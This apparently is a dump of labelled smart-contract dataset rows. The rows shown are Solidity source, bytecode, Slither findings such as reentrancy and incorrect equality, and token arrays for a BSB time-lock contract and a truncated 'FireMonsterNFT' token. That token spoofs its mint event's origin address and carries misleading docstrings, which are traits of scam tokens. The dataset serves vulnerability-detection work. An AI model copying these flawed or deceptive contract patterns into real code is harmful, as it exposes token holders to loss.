5647320616044820152676c6c6f77616e636560c01b606482015260840161043d565b6110268533858403610e63565b506001949350505050565b60055460ff1661107a5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015260640161043d565b6005805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60055460ff16156111415760405162461bcd60e51b815260040161043d90611641565b6005805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586110a73390565b60006104ea3384846111e9565b60055460ff16156107b65760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e736665722077686044820152691a5b19481c185d5cd95960b21b606482015260840161043d565b6001600160a01b03831661124d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043d565b6001600160a01b0382166112af5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043d565b6112ba838383611183565b6001600160a01b038316600090815260208190526040902054818110156113325760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161043d565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906113699084906116f5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113b591815260200190565b60405180910390a350505050565b80356001600160a01b03811681146113da57600080fd5b919050565b600082601f8301126113f057600080fd5b81356020611405611400836116d1565b6116a0565b80838252828201915082860187848660051b890101111561142557600080fd5b60005b8581101561144457813584529284019290840190600101611428565b5090979650505050505050565b60006020828403121561146357600080fd5b61146c826113c3565b9392505050565b6000806040838503121561148657600080fd5b61148f836113c3565b915061149d602084016113c3565b90509250929050565b6000806000606084860312156114bb57600080fd5b6114c4846113c3565b92506114d2602085016113c3565b9150604084013590509250925092565b600080604083850312156114f557600080fd5b6114fe836113c3565b946020939093013593505050565b6000806040838503121561151f57600080fd5b823567ffffffffffffffff8082111561153757600080fd5b818501915085601f83011261154b57600080fd5b8135602061155b611400836116d1565b8083825282820191508286018a848660051b890101111561157b57600080fd5b600096505b848710156115a557611591816113c3565b835260019690960195918301918301611580565b50965050860135925050808211156115bc57600080fd5b506115c9858286016113df565b9150509250929050565b6000602082840312156115e557600080fd5b5035919050565b600060208083528351808285015260005b81811015611619578581018301518582016040015282016115fd565b8181111561162b576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b604051601f8201601f1916810167ffffffffffffffff811182821017156116c9576116c96117a6565b604052919050565b600067ffffffffffffffff8211156116eb576116eb6117a6565b5060051b60200190565b600082198211156117085761170861177a565b500190565b60008282101561171f5761171f61177a565b500390565b600181811c9082168061173857607f821691505b6020821081141561175957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117735761177361177a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212208c4fd39f05947a82ffb911dfe9ea118c79d3e8a1be31c20db8f96588b494c81064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
24087,
2575,
7959,
2475,
2063,
20842,
2278,
2581,
16147,
2683,
2278,
2487,
2094,
2620,
2549,
26337,
16068,
2581,
2063,
22025,
4246,
2575,
22407,
2620,
22022,
2692,
2497,
2509,
2050,
1013,
1008,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1035,
1007,
1035,
1035,
1035,
1035,
1035,
1035,
1006,
1035,
1007,
1035,
1035,
1035,
1035,
1035,
1035,
1006,
1035,
1007,
1035,
1035,
1013,
1035,
1035,
1035,
1013,
1035,
1035,
1035,
1035,
1035,
1013,
1035,
1035,
1013,
1013,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1035,
1013,
1011,
1035,
1007,
1035,
1032,
1013,
1013,
1035,
1036,
1013,
1005,
1032,
1013,
1013,
1035,
1032,
1013,
1013,
1013,
1035,
1032,
1013,
1035,
1032,
1035,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,556 | 0x955726c66a571a9800c1ae64a615513ec2344b13 | pragma solidity >=0.8.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner ;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract BSB_Locking_Reserve is Ownable {
using SafeMath for uint;
// BSB token contract address
address public constant tokenAddress = 0xA478A13242b64629bff309125770B69f75Bd77cb;
uint256 public tokens = 0;
uint256 public current_withdraw = 1 ;
uint256 public constant number_withdraws = 16;
uint256 public constant period_time = 90 days;
uint256 public timing ;
uint256 public amount_per_withdraw = 0;
uint256 public amount_already_out = 0;
function getNumPeriods() public view returns(uint){
uint _numIntervals;
if(tokens == 0 || timing == 0){
_numIntervals = 0;
}else{
_numIntervals = (block.timestamp.sub(timing)).div(period_time);
if(_numIntervals > number_withdraws){
_numIntervals = number_withdraws;
}
}
return _numIntervals;
}
function getTiming() public view returns (uint256){
return block.timestamp.sub(timing);
}
function deposit(uint amountToStake) public onlyOwner returns (bool){
require( tokens == 0, "Cannot deposit more Tokens");
require( amountToStake > 0, "Cannot deposit Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
amount_per_withdraw = amountToStake.div(number_withdraws);
tokens = amountToStake;
timing = block.timestamp;
return true;
}
function withdraw() public onlyOwner returns(bool){
require( tokens > 0, "No tokens left");
require(current_withdraw <= getNumPeriods() , "Not yet");
current_withdraw = current_withdraw.add(1);
require(Token(tokenAddress).transfer(owner, amount_per_withdraw), "Could not transfer tokens.");
tokens = tokens.sub(amount_per_withdraw);
amount_already_out = amount_already_out.add(amount_per_withdraw);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80639d76ea581161008c578063b979b29f11610066578063b979b29f1461022d578063d4c2001c1461024b578063f2fde38b14610269578063f5d4874b14610285576100ea565b80639d76ea58146101c1578063a3f02037146101df578063b6b55f25146101fd576100ea565b8063630e799f116100c8578063630e799f146101495780638da5cb5b1461016757806396478ad6146101855780639d63848a146101a3576100ea565b80630f3e8e00146100ef5780633ccfd60b1461010d5780634fba5adf1461012b575b600080fd5b6100f76102a3565b6040516101049190610ca4565b60405180910390f35b6101156102a9565b6040516101229190610bc9565b60405180910390f35b6101336104f4565b6040516101409190610ca4565b60405180910390f35b6101516104fa565b60405161015e9190610ca4565b60405180910390f35b61016f610516565b60405161017c9190610b4e565b60405180910390f35b61018d61053a565b60405161019a9190610ca4565b60405180910390f35b6101ab6105a0565b6040516101b89190610ca4565b60405180910390f35b6101c96105a6565b6040516101d69190610b4e565b60405180910390f35b6101e76105be565b6040516101f49190610ca4565b60405180910390f35b61021760048036038101906102129190610a22565b6105c4565b6040516102249190610bc9565b60405180910390f35b6102356107ba565b6040516102429190610ca4565b60405180910390f35b6102536107bf565b6040516102609190610ca4565b60405180910390f35b610283600480360381019061027e91906109c8565b6107c5565b005b61028d610914565b60405161029a9190610ca4565b60405180910390f35b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030457600080fd5b600060015411610349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034090610be4565b60405180910390fd5b61035161053a565b6002541115610395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038c90610c24565b60405180910390fd5b6103ab600160025461091b90919063ffffffff16565b60028190555073a478a13242b64629bff309125770b69f75bd77cb73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166004546040518363ffffffff1660e01b8152600401610422929190610ba0565b602060405180830381600087803b15801561043c57600080fd5b505af1158015610450573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047491906109f5565b6104b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104aa90610c04565b60405180910390fd5b6104ca60045460015461094790919063ffffffff16565b6001819055506104e760045460055461091b90919063ffffffff16565b6005819055506001905090565b60035481565b60006105116003544261094790919063ffffffff16565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600154148061055057506000600354145b1561055e5760009050610599565b6105886276a70061057a6003544261094790919063ffffffff16565b61096e90919063ffffffff16565b9050601081111561059857601090505b5b8091505090565b60015481565b73a478a13242b64629bff309125770b69f75bd77cb81565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461061f57600080fd5b600060015414610664576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065b90610c84565b60405180910390fd5b600082116106a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069e90610c64565b60405180910390fd5b73a478a13242b64629bff309125770b69f75bd77cb73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b81526004016106f893929190610b69565b602060405180830381600087803b15801561071257600080fd5b505af1158015610726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074a91906109f5565b610789576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078090610c44565b60405180910390fd5b61079d60108361096e90919063ffffffff16565b600481905550816001819055504260038190555060019050919050565b601081565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561085757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6276a70081565b600080828461092a9190610cd0565b90508381101561093d5761093c610dd3565b5b8091505092915050565b60008282111561095a57610959610dd3565b5b81836109669190610d57565b905092915050565b600080828461097d9190610d26565b90508091505092915050565b60008135905061099881610f5b565b92915050565b6000815190506109ad81610f72565b92915050565b6000813590506109c281610f89565b92915050565b6000602082840312156109de576109dd610e60565b5b60006109ec84828501610989565b91505092915050565b600060208284031215610a0b57610a0a610e60565b5b6000610a198482850161099e565b91505092915050565b600060208284031215610a3857610a37610e60565b5b6000610a46848285016109b3565b91505092915050565b610a5881610d8b565b82525050565b610a6781610d9d565b82525050565b6000610a7a600e83610cbf565b9150610a8582610e65565b602082019050919050565b6000610a9d601a83610cbf565b9150610aa882610e8e565b602082019050919050565b6000610ac0600783610cbf565b9150610acb82610eb7565b602082019050919050565b6000610ae3601c83610cbf565b9150610aee82610ee0565b602082019050919050565b6000610b06601683610cbf565b9150610b1182610f09565b602082019050919050565b6000610b29601a83610cbf565b9150610b3482610f32565b602082019050919050565b610b4881610dc9565b82525050565b6000602082019050610b636000830184610a4f565b92915050565b6000606082019050610b7e6000830186610a4f565b610b8b6020830185610a4f565b610b986040830184610b3f565b949350505050565b6000604082019050610bb56000830185610a4f565b610bc26020830184610b3f565b9392505050565b6000602082019050610bde6000830184610a5e565b92915050565b60006020820190508181036000830152610bfd81610a6d565b9050919050565b60006020820190508181036000830152610c1d81610a90565b9050919050565b60006020820190508181036000830152610c3d81610ab3565b9050919050565b60006020820190508181036000830152610c5d81610ad6565b9050919050565b60006020820190508181036000830152610c7d81610af9565b9050919050565b60006020820190508181036000830152610c9d81610b1c565b9050919050565b6000602082019050610cb96000830184610b3f565b92915050565b600082825260208201905092915050565b6000610cdb82610dc9565b9150610ce683610dc9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610d1b57610d1a610e02565b5b828201905092915050565b6000610d3182610dc9565b9150610d3c83610dc9565b925082610d4c57610d4b610e31565b5b828204905092915050565b6000610d6282610dc9565b9150610d6d83610dc9565b925082821015610d8057610d7f610e02565b5b828203905092915050565b6000610d9682610da9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b7f4e6f20746f6b656e73206c656674000000000000000000000000000000000000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f4e6f742079657400000000000000000000000000000000000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f43616e6e6f74206465706f7369742020546f6b656e7300000000000000000000600082015250565b7f43616e6e6f74206465706f736974206d6f726520546f6b656e73000000000000600082015250565b610f6481610d8b565b8114610f6f57600080fd5b50565b610f7b81610d9d565b8114610f8657600080fd5b50565b610f9281610dc9565b8114610f9d57600080fd5b5056fea264697066735822122011f78fff815396092d8a20f8b05d3e2a08ee92f3d74a0101cb0bb8fa5263874764736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
24087,
2581,
23833,
2278,
28756,
2050,
28311,
2487,
2050,
2683,
17914,
2692,
2278,
2487,
6679,
21084,
2050,
2575,
16068,
22203,
2509,
8586,
21926,
22932,
2497,
17134,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
18667,
2094,
1011,
1017,
1011,
11075,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,557 | 0x95574e5ea7d37ad59c7984c8b32c4268f8a55f90 | /*
Some Informations:
Telegram Group: https://t.me/FiremonsterOfficial
Website: https://firemonsternft.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FireMonsterNFT is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100 * 10**9 * 10**18;
uint256 private _rTotal = _tTotal.mul(30).div(100);
string private _name = 'Fire Monster NFT';
string private _symbol = 'FMN';
uint256 private _teamFee = 4;
uint256 private _taxFee = 6;
uint8 private _decimals = 18;
address private _charityWallet = _msgSender();
address[] public _listBotAddresses;
constructor () {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
